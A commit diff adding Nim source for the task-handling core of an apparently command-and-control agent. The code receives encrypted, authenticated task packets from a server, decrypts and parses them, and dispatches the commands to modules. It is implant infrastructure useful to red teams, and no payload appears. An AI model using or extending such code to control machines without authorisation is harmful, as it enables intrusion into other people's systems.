Rework module system. Now modules/commands are defined in a single file each, with both the function executed by teh agent and the definition for server-side argument parsing.

src/agent/core/task.nim

@@ -0,0 +1,83 @@
+import strutils, tables, json, strformat, sugar
+
+import ../../modules/manager
+import ../../common/[types, serialize, crypto, utils]
+
+proc handleTask*(config: AgentConfig, task: Task): TaskResult = 
+    try: 
+        return getCommandByType(cast[CommandType](task.command)).execute(config, task)
+    except CatchableError: 
+        echo "[-] Command not found."
+
+proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task = 
+
+    var unpacker = initUnpacker(bytes.toString)
+
+    let header = unpacker.unpackHeader()
+
+    # Packet Validation
+    if header.magic != MAGIC: 
+        raise newException(CatchableError, "Invalid magic bytes.")
+
+    if header.packetType != cast[uint8](MSG_TASK): 
+        raise newException(CatchableError, "Invalid packet type.")
+
+    # TODO: Validate sequence number 
+
+    # Decrypt payload 
+    let payload = unpacker.getBytes(int(header.size))
+
+    let (decData, gmac) = decrypt(config.sessionKey, header.iv, payload, header.seqNr)
+
+    if gmac != header.gmac:
+        raise newException(CatchableError, "Invalid authentication tag (GMAC) for task.")
+
+    # Deserialize decrypted data
+    unpacker = initUnpacker(decData.toString)
+
+    let 
+        taskId = unpacker.getUint32()
+        listenerId = unpacker.getUint32()
+        timestamp = unpacker.getUint32()
+        command = unpacker.getUint16()
+    
+    var argCount = unpacker.getUint8()
+    var args = newSeq[TaskArg]() 
+
+    # Parse arguments
+    var i = 0
+    while i < int(argCount): 
+        args.add(unpacker.getArgument())
+        inc i
+
+    return Task(
+        header: header,
+        taskId: taskId,
+        listenerId: listenerId, 
+        timestamp: timestamp,
+        command: command,
+        argCount: argCount,
+        args: args
+    )
+
+proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] = 
+
+    result = newSeq[Task]()
+
+    var unpacker = initUnpacker(packet) 
+
+    var taskCount = unpacker.getUint8()
+    echo fmt"[*] Response contained {taskCount} tasks."
+    if taskCount <= 0: 
+        return @[]
+
+    while taskCount > 0: 
+
+        # Read length of each task and store the task object in a seq[byte]
+        let 
+            taskLength = unpacker.getUint32() 
+            taskBytes = unpacker.getBytes(int(taskLength))
+
+        result.add(config.deserializeTask(taskBytes))
+        
+        dec taskCount